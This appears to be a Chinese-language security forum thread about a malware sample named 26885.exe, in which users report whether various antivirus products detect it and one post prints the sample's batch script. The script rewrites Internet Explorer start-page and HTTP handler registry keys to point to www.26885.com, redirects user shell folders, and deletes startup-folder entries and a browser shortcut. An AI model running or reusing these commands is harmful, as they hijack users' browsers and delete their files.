26885.exe

wjcharles

nis kill

xwhmm

all kill

s8706042

已上报趋势～
未侦测到威胁～

hj5abc

熊猫云KILL

李不知

Rising kill

jason_jiang

根据实时保护网络提供的信息，深度防御已阻止一个潜在恶意程序启动。该程序为：
26885.exe
等级： 有害

62590423

to drweb

XE-cj

修改主页

@shift
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.26885.com" /f
@reg add "HKEY_USERs\.DEFAULT\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.26885.com" /f
@reg add "HKEY_USERs\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.26885.com" /f
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.26885.com" /f
@reg add "HKEY_CLASSES_ROOT\HTTP\shell\open\command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.26885.com" /f
@reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.26885.com" /f
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Favorites" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\Favorites"
@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v "Personal" /t REG_EXPAND_SZ /d "c:\Documents and Settings\Administrator\My Documents"
del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f
del "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /q /f

留侯

大蜘蛛clean，已上报！

尤金卡巴斯基

26885.exe - Trojan.BAT.StartPage.jl